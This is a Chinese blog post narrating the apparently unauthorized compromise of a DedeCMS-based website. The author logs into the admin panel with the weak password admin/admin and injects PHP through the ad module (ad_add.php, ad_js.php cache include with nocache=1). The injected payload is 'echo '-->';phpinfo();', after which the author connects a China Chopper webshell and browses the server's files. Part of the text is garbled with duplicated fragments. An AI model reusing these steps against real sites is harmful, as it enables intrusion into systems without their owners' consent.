• 一次水渗透


    关于如何看到这个网址的

    这很意外

    首先我们看一下主站

    通过各种丑方法 发现 这是一个dedecms 那我们可以看看dedecms的后台是不是dede呐?

     好像真的是dede的后台  看着版本有点低 先试试几个弱口令爆破一下

    admin admin 成功

    欢迎使用DedeCMS网站内容管理系统,您当前的使用版本为:V57_UTF8_SP2。

    得知版本号 后  百度 DEDEV57后台getshell 看到有两种吧可以用的PAYload

    这里我们用 这种

     然后

    在这里我们写入我们的一句话

     然后执行 我们抓包 看他返回的结果 通过包来分析

    发现调用了

    可以看到被ad_add.php处理了,我们到我们自己的源码里看一下:

    $query = " INSERT INTO #@__myad(clsid,typeid,tagname,adname,timeset,starttime,endtime,normbody,expbody) VALUES('$clsid','$typeid','$tagname','$adname','$timeset','$starttime','$endtime','$normbody','$expbody'); "; $dsql->ExecuteNoneQuery($query); ShowMsg("成功增加一个广告!","ad_main.php");
    

    上面就是我截取的对我们有用的源码片段,从中可以看到,我们的广告信息被插入到了数据库中。接下来就在数据库中去看一下吧:

    恶意代码写进去了,就看看哪里会调用我们这个”善意“的广告了呗,点击广告栏的代码就可以看到我们的广告杯插入在了哪里:

    可以看到ad_js.php调用了我们的广告,可以去看看源码了:

    $cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
    if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
    {
        $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
        $adbody = '';
        if($row['timeset']==0)
        {
            $adbody = $row['normbody'];
        }
        else
        {
            $ntime = time();
            if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
                $adbody = $row['expbody'];
            } else {
                $adbody = $row['normbody'];
            }
        }
        $adbody = str_replace('"', '"',$adbody);
        $adbody = str_replace("
    ", "\r",$adbody);
        $adbody = str_replace("
    ", "\n",$adbody);
        $adbody = "<!--
    document.write("{$adbody}");
    -->
    ";
        $fp = fopen($cacheFile, 'w');
        fwrite($fp, $adbody);
        fclose($fp);
    }
    include $cacheFile;//把刚刚构造的静态html文件包含进来,这就导致html文件中的php代码可执行

    现在我们首先要满足if条件判断,由于是或运算,只要满足一个就行了,这里我们可以直接利用dedecms的变量注册的特性(这里不太清楚,大概是这个原因,不太熟悉),直接传入一个nocache变量,直接满足if判断,这样我们的恶意代码就写进了下面这个文件里:

     我们来按照思路来操作下:

    burp抓包

    参数里面增加 POST /nocache=1&xx=echo '-->';phpinfo();访问下

    cacheFile,![](https://imgblog.csdn.net/20180702230814386)访adjs.phpadjs.phpcacheFile,![](https://imgblog.csdn.net/20180702230814386)访adjs.phpadjs.php了cacheFile这个文件,导致我们的恶意代码得以执行。现在我来写入一个phpinfo()函数作为测试:

     上面post传送的数据为

    xx = echo '-->';phpinfo();
    echo '-->'是为了闭合注释,不然我们的代码不能执行
    最后菜刀连接发现是一个linux的系统

    ls -l查看文件详细信息

    利用cd看见隐藏的目录cd到最基层的目录 cd /

    cat查看文件打开

  • 相关阅读:
    初步学习css 从css手册看起———text
    IE6双倍margin间距两大解决方案转载
    div+css的基本 常用到语法(一) 。
    初步学习css 从css手册看起———Font
    行内宽高设置无效的解决
    C++面对对象基础
    C++继承和派生
    基于MATLAB的FIR滤波器的设计
    C++多态
    C++中的静态成员和静态函数
  • 原文地址:https://www.cnblogs.com/-zhong/p/10914409.html
Copyright © 2020-2023  润新知